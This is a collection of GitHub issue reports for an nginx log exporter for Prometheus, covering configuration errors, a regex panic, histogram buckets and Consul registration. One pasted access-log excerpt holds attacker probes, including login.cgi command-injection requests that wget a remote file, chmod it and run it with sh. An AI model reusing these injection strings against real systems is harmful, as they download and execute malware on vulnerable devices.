# Please post an excerpt of a log file that can be used to reproduce the error
# Keep the excerpt as short as possible and make sure to redact any sensitive data.

Environment:

Exporter version:
1.2.1
OS (e.g. from /etc/os-release):
cat /etc/redhat-release
CentOS release 6.7 (Final)
Others:

Log waiting to listen access log

Bug Report:

Bug report

What happened:
The exporter doesn't not exporting log.

Other important information:

using configuration {{%!s(int=4040) 0.0.0.0} {%!s(bool=false) { []}} [{nginx [/home/bhargavpatel/sourceinstallation/nginx/nginx/logs/access.log] $remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" map[] [] [] []}] %!s(bool=false)}
starting listener for namespace nginx
running HTTP server on address 0.0.0.0:4040
2018/11/01 08:46:43 Waiting for /home/bhargavpatel/sourceinstallation/nginx/nginx/logs/access.log to appear...

Configuration file :

listen {
  port = 4040
}

consul {
  enable = true
  address = "localhost:8500"
  datacenter = "dc1"
  scheme = "http"
  token = ""
  service {
    id = "nginx-exporter"
    name = "nginx-exporter"
    tags = ["foo", "bar"]
  }
}

namespace "nginx" {
  source_files = [
    "test.log",
    "foo.log"
  ]
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\""

  labels {
    app = "magicapp"
    foo = "bar"
  }

  relabel "user" {
    from = "remote_user"
    // whitelist = ["-", "user1", "user2"]
  }

  relabel "request_uri" {
    from = "request"
    split = 2

    match "^users/[0-9]+" {
      replacement = "/users/:id"
    }
  }
}

Environment:

Exporter version: latest
OS : ubuntu 18.04 lts
Others:
nginx version: 1.10.1 (installed from source)

Does the binary works on Alpine Linux?

Hello,

Does the compiled binary works on alpine linux? I want to get it running into a docker container. I will use Alpine Linux. BTW I do not know anything about go but I want to ask, How I can compile the binary by my own?

Best regards,

Error while trying to run application via command line

Issue type: Support request

What happened:
I got error(see below), while trying to start the application via commandline.

How to reproduce it (as minimally and precisely as possible):

Deploy nginx with provided log format and generate some logs
Start it with command below

Other important information:

# Nginx log config:
    log_format mtail '$remote_addr - $remote_user "$time_local" '
                     '"$request" $status $body_bytes_sent '
                     '"$http_referer" "$http_user_agent" '
                     'rt="$request_time" uct="$upstream_connect_time" uht="$upstream_header_time" urt="$upstream_response_time"';

Configuration file (remove section, if not applicable):

# Please post the contents of your configuration file, here
# Was started via comandline
/prometheus-nginxlog-exporter
-format="$remote_addr - $remote_user \"$time_local\" \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" rt=\"$request_time\" uct=\"$upstream_connect_time\" uht=\"$upstream_header_time\" urt=\"$upstream_response_time\""
-listen-port=9114
-namespace=nginx
/tmp/nginx-logs/access.log

Example log file (remove section, if not applicable):

# Please post an excerpt of a log file that can be used to reproduce the error
# Keep the excerpt as short as possible and make sure to redact any sensitive data.
 using configuration {{%!s(int=9114) 0.0.0.0} {%!s(bool=false)     {  []}} [{nginx [/tmp/nginx-logs/access.log] "$remote_addr - $remote_user \"$time_local\" \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" rt=\"$request_time\" uct=\"$upstream_connect_time\" uht=\"$upstream_header_time\" urt=\"$upstream_response_time\"" map[] [] [] []}] %!s(bool=false)}
starting listener for namespace nginx
running HTTP server on address 0.0.0.0:9114
panic: regexp: Compile(`^"(?P&lt;remote_addr&gt;[^ ]*) - (?P&lt;remote_user&gt;[^ ]*) \\"(?P&lt;time_local&gt;[^\]*)\\" \\"(?P&lt;request&gt;[^\]*)\\" (?P&lt;status&gt;[^ ]*) (?P&lt;body_bytes_sent&gt;[^ ]*) \\"(?P&lt;http_referer&gt;[^\]*)\\" \\"(?P&lt;http_user_agent&gt;[^\]*)\\" rt=\\"(?P&lt;request_time&gt;[^\]*)\\" uct=\\"(?P&lt;upstream_connect_time&gt;[^\]*)\\" uht=\\"(?P&lt;upstream_header_time&gt;[^\]*)\\" urt=\\"(?P&lt;upstream_response_time&gt;[^\]*)\\""$`): error parsing regexp: missing closing ]: `[^\]*)\\" \\"(?P&lt;http_user_agent&gt;[^\]*)\\" rt=\\"(?P&lt;request_time&gt;[^\]*)\\" uct=\\"(?P&lt;upstream_connect_time&gt;[^\]*)\\" uht=\\"(?P&lt;upstream_header_time&gt;[^\]*)\\" urt=\\"(?P&lt;upstream_response_time&gt;[^\]*)\\""$`
goroutine 8 [running]:
regexp.MustCompile(0xc420166180, 0x176, 0xc420037e38)
	/usr/local/go/src/regexp/regexp.go:240 +0x171
github.com/martin-helmich/prometheus-nginxlog-exporter/vendor/github.com/satyrius/gonx.NewParser(0x7ffec5480396, 0xec, 0xc420028708)
	/go/src/github.com/martin-helmich/prometheus-nginxlog-exporter/vendor/github.com/satyrius/gonx/parser.go:27 +0x19a
main.main.func2(0x7ffec54804a0, 0x5, 0xc42000e180, 0x1, 0x1, 0x7ffec5480396, 0xec, 0x0, 0x0, 0x0, ...)
	/go/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:174 +0x4d
created by main.main
	/go/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:173 +0x5db

Environment:

Exporter version: quay.io/martinhelmich/prometheus-nginxlog-exporter:latest (on 9/nov)
OS (e.g. from /etc/os-release): GKE(coreOS probably)
Others: As far as I can get the error is in "[^]* part of regex: https://regex101.com/r/YTSx9W/1

s3 support

Issue type:
Feature request

Do you have any plan for s3 support?

Thanks,

Cant make namespace with "-"

Hello!
I'v got this error while setting my namespace "app2-eee":
panic: descriptor Desc{fqName: "app2-eee_http_response_count_total", help: "Amount of processed HTTP requests", constLabels: {}, variableLabels: [method status app environment]} is invalid: "app2-eee_http_response_count_total" is not a valid metric name

is there any method to get desired settings?

Increase Histogram buckets above 10 seconds

Issue type: Feature request

Would you be open to increasing the upper limit of the histogram buckets?

What happened:

When I have response times over 10 seconds, my graphs are "cut off" above the 10s mark:

This is probably because of the default buckets in the Histogram metrics having an upper bound of 10 seconds.

What you expected to happen:

Either:

a) Higher upper limit bucket so we can measure slower responses than 10s.

b) Ability to configure my own buckets for the histograms.

How to reproduce it (as minimally and precisely as possible):

Have many responses being slower than 10s.
Graph them using histogram quantiles:

histogram_quantile(0.9999, sum(rate(http_response_time_seconds_hist_bucket[10m])) by (le))

Metrics output (remove section, if not applicable):

[...]
# HELP http_response_time_seconds_hist Time needed by NGINX to handle requests
# TYPE http_response_time_seconds_hist histogram
http_response_time_seconds_hist_bucket{method="GET",status="200",le="0.005"} 514876
http_response_time_seconds_hist_bucket{method="GET",status="200",le="0.01"} 1.042195e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="0.025"} 1.864966e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="0.05"} 2.18366e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="0.1"} 2.263013e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="0.25"} 2.674159e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="0.5"} 2.803495e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="1"} 2.946707e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="2.5"} 3.080668e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="5"} 3.137246e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="10"} 3.160643e+06
http_response_time_seconds_hist_bucket{method="GET",status="200",le="+Inf"} 3.173146e+06
http_response_time_seconds_hist_sum{method="GET",status="200"} 1.0411615320055158e+06
http_response_time_seconds_hist_count{method="GET",status="200"} 3.173146e+063.173138e+06
[...]

Environment:

Exporter version: 1.2.1

Other important information:

This seems to be how to change the buckets (by passing custom Buckets []float64 to the HistogramOpts):
https://godoc.org/github.com/prometheus/client_golang/prometheus#HistogramOpts

DefBuckets = []float64{.005, .01, .025, .05, .1, .25, .5, 1, 2.5, 5, 10}

👆 ...and these seem to be the default buckets:
https://godoc.org/github.com/prometheus/client_golang/prometheus#pkg-variables

This is where in the code I imagine it could be set:
https://github.com/martin-helmich/prometheus-nginxlog-exporter/blob/v1.2.1/main.go#L91-L95

Does the log file affect the accuracy of the assembly?

Issue type:

Bug report

What happened:
the Exporter seems workd ,but the graph in trouble，
It's an offline task to request the nginx, and it works at 0-9 am，When this offline task ends, it generates about 4G of nginx log files, when it work all graph works good, When he was silent.All grafana charts to zero，when i reload the exporter it seems work But the indicators are not correct.

Other important information:

Configuration file (remove section, if not applicable):
nginx.conf

log_format upstream_time '$remote_addr - $remote_user [$time_local] '
                         '"$request" $status $body_bytes_sent '
                         '"$http_referer" "$http_user_agent" '
                         'rt="$request_time" uct="$upstream_connect_time" uht="$upstream_header_time" urt="$upstream_response_time"';

exporter conf

listen:
  port: 9040

consul:
  enable: false
  address: "localhost:8500"
  datacenter: dc1
  scheme: http
  token: ""
  service:
    id: "nginx-exporter"
    name: "nginx-exporter"
    tags: ["foo", "bar"]

namespaces:
  - name: timestamp_load
    format: "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" rt=\"$request_time\" uct=\"$upstream_connect_time\" uht=\"$upstream_header_time\" urt=\"$upstream_response_time\""
    source_files:
      - /usr/local/openresty/nginx/logs/prometheus.access.log
    labels:
      app: "app"
      environment: "production"

Metrics output (remove section, if not applicable):

# TYPE timestamp_load_http_response_count_total counter
timestamp_load_http_response_count_total{app="apps",environment="production",method="GET",status="200"} 38
timestamp_load_http_response_count_total{app="apps",environment="production",method="GET",status="400"} 2
timestamp_load_http_response_count_total{app="apps",environment="production",method="GET",status="404"} 5
timestamp_load_http_response_count_total{app="apps",environment="production",method="HEAD",status="200"} 2
timestamp_load_http_response_count_total{app="apps",environment="production",method="POST",status="200"} 2.3212482e+07
timestamp_load_http_response_count_total{app="apps",environment="production",method="POST",status="400"} 7
timestamp_load_http_response_count_total{app="apps",environment="production",method="POST",status="499"} 2
timestamp_load_http_response_count_total{app="apps",environment="production",method="POST",status="502"} 93629
timestamp_load_http_response_count_total{app="apps",environment="production",method="POST",status="504"} 295
timestamp_load_http_response_count_total{app="apps",environment="production",method="USER",status="400"} 1
timestamp_load_http_response_count_total{app="apps",environment="production",method="\\x04\\x01\\x00PpTi4\\x00",status="400"} 2
timestamp_load_http_response_count_total{app="apps",environment="production",method="\\x05\\x01\\x00",status="400"} 1

Example log file (remove section, if not applicable):

10.80.236.194 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.80.236.194 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.018" uct="0.000" uht="0.018" urt="0.018"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.80.236.194 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.018" uct="0.000" uht="0.018" urt="0.018"
10.80.236.194 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.023" uct="0.000" uht="0.023" urt="0.023"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.80.236.194 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.80.236.194 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:39:59 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.80.236.194 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.022" uct="0.000" uht="0.022" urt="0.022"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.80.236.194 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.80.236.194 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.80.236.194 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.018" uct="0.000" uht="0.018" urt="0.018"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.022" uct="0.000" uht="0.022" urt="0.022"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.017" uct="0.000" uht="0.017" urt="0.017"
10.80.236.194 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.017" uct="0.000" uht="0.017" urt="0.017"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.80.236.194 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.021" uct="0.000" uht="0.021" urt="0.021"
10.80.236.194 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.020" uct="0.000" uht="0.020" urt="0.020"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.019" uct="0.000" uht="0.019" urt="0.019"
10.80.236.194 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.017" uct="0.000" uht="0.017" urt="0.017"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.016" uct="0.000" uht="0.016" urt="0.016"
10.81.31.76 - tsademo [14/Aug/2018:08:40:00 +0800] "POST /tsa HTTP/1.1" 200 2104 "-" "Java/1.8.0_111" rt="0.027" uct="0.000" uht="0.027" urt="0.027"
81.248.105.18 - - [14/Aug/2018:08:57:06 +0800] "GET / HTTP/1.0" 200 562 "-" "-" rt="0.000" uct="-" uht="-" urt="-"
81.248.105.18 - - [14/Aug/2018:08:57:08 +0800] "GET / HTTP/1.0" 200 562 "-" "-" rt="0.000" uct="-" uht="-" urt="-"
80.82.78.50 - - [14/Aug/2018:09:17:54 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 175 "-" "Mozilla" rt="0.000" uct="-" uht="-" urt="-"
120.132.3.65 - - [14/Aug/2018:09:18:21 +0800] "\x04\x01\x00PpTi4\x00" 400 179 "-" "-" rt="0.032" uct="-" uht="-" urt="-"
120.132.3.65 - - [14/Aug/2018:09:18:22 +0800] "\x05\x01\x00" 400 179 "-" "-" rt="0.031" uct="-" uht="-" urt="-"
120.132.3.65 - - [14/Aug/2018:09:18:22 +0800] "GET http://www.qq.com/404/search_children.js HTTP/1.1" 404 577 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
118.185.135.169 - - [14/Aug/2018:10:18:30 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
156.204.204.144 - - [14/Aug/2018:10:33:11 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 179 "-" "LMAO/2.0" rt="0.000" uct="-" uht="-" urt="-"
120.132.3.65 - - [14/Aug/2018:10:35:05 +0800] "\x04\x01\x00PpTi4\x00" 400 179 "-" "-" rt="0.041" uct="-" uht="-" urt="-"
221.148.153.240 - - [14/Aug/2018:11:04:38 +0800] "HEAD / HTTP/1.1" 200 0 "-" "-" rt="0.000" uct="-" uht="-" urt="-"
222.100.63.48 - - [14/Aug/2018:11:08:11 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
119.23.174.205 - - [14/Aug/2018:11:16:49 +0800] "GET / HTTP/1.0" 200 562 "-" "-" rt="0.000" uct="-" uht="-" urt="-"
92.242.229.57 - - [14/Aug/2018:11:32:14 +0800] "GET / HTTP/1.0" 200 562 "-" "-" rt="0.000" uct="-" uht="-" urt="-"
103.208.75.166 - - [14/Aug/2018:11:51:51 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
199.102.186.108 - - [14/Aug/2018:11:58:34 +0800] "GET / HTTP/1.0" 200 562 "-" "-" rt="0.000" uct="-" uht="-" urt="-"
189.181.115.247 - - [14/Aug/2018:12:11:40 +0800] "GET / HTTP/1.0" 200 562 "-" "-" rt="0.000" uct="-" uht="-" urt="-"
200.153.157.248 - - [14/Aug/2018:12:14:25 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" rt="0.000" uct="-" uht="-" urt="-"
94.131.207.130 - - [14/Aug/2018:12:24:23 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
80.82.78.50 - - [14/Aug/2018:13:01:29 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 175 "-" "Mozilla" rt="0.000" uct="-" uht="-" urt="-"
60.191.38.77 - - [14/Aug/2018:13:40:38 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0" rt="0.000" uct="-" uht="-" urt="-"
39.107.121.196 - - [14/Aug/2018:13:51:06 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0" rt="0.000" uct="-" uht="-" urt="-"
200.207.59.67 - - [14/Aug/2018:14:07:15 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
47.100.38.232 - - [14/Aug/2018:14:44:26 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0" rt="0.000" uct="-" uht="-" urt="-"
106.75.92.187 - - [14/Aug/2018:15:05:55 +0800] "USER test +iw test :Test Wuz Here" 400 179 "-" "-" rt="0.030" uct="-" uht="-" urt="-"
106.75.92.187 - - [14/Aug/2018:15:05:55 +0800] "GET / HTTP/1.1" 200 373 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" rt="0.000" uct="-" uht="-" urt="-"
137.59.162.94 - - [14/Aug/2018:15:27:00 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
47.94.39.226 - - [14/Aug/2018:16:14:11 +0800] "GET / HTTP/1.0" 200 562 "-" "-" rt="0.000" uct="-" uht="-" urt="-"
103.113.106.150 - - [14/Aug/2018:16:18:17 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
190.94.139.12 - - [14/Aug/2018:16:29:46 +0800] "GET / HTTP/1.1" 200 562 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" rt="0.000" uct="-" uht="-" urt="-"
112.68.106.79 - - [14/Aug/2018:17:44:08 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 179 "-" "LMAO/2.0" rt="0.000" uct="-" uht="-" urt="-"

Environment:

Exporter version:
v1.2.0
OS (e.g. from /etc/os-release):
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"

Others:
nginx version: openresty/1.13.6.1

Provide JSON definiton for Grafana dashboard?

Exporter configuration issues

Issue type:

Support request

What happened:
when i attempt to run the exporter from the command line, i appear to have some issues with the port configuration. I do not want to hard code an ip in case the ip of the server changes, but i dont see much information on configuring the exporter accordingly. i am getting the error

./prometheus-nginxlog-exporter -config-file /etc/prometheus/nginx-log-exporter.hcl
loading configuration file /etc/prometheus/nginx-log-exporter.hcl
using configuration {{%!s(int=4040) 127.0.0.1} {%!s(bool=true) 127.0.0.1:8500 dc1 http  {nginx-exporter nginx-exporter [foo bar]}} [{app-1 [/jet/log/nginx/access.log] $remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" map[environment:beta foo:bar app:application-one] [] [] []}] %!s(bool=false)}
registering service in Consul
panic: Unexpected response code: 404

Here is my hcl config

listen {
  port = 4040
  address = "127.0.0.1"
}

consul {
  enable = true
  address = "127.0.0.1:8500"
  datacenter = "dc1"
  scheme = "http"
  token = ""
  service {
    id = "nginx-exporter"
    name = "nginx-exporter"
    tags = ["foo", "bar"]
  }
}

namespace "app-1" {
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\""
  source_files = [
    "/jet/log/nginx/access.log"
  ]
  labels {
    app = "application-one"
    environment = "beta"
    foo = "bar"
  }
}

and nginx config

server {
    listen       80 default_server;
    listen       [::]:80;
    listen 	 [::]:1;
    listen       4040;
    listen       8500;

    server_name  _;
    root         /jet/app/wordpress;

    index index.php index.html index.htm;
    autoindex on;

    location /status/format/json {
        stub_status on;

        access_log on;
        allow 127.0.0.1;
        allow 98.251.250.215;
        deny all;
    }
    # Load configuration files for the default server block.
    include /jet/etc/nginx/conf.d/*.inc;
 
}

Running for a long time errored out

Issue type:

Bug report

What happened:

I am running the exporter for long time and it got error-ed (panic) abruptly

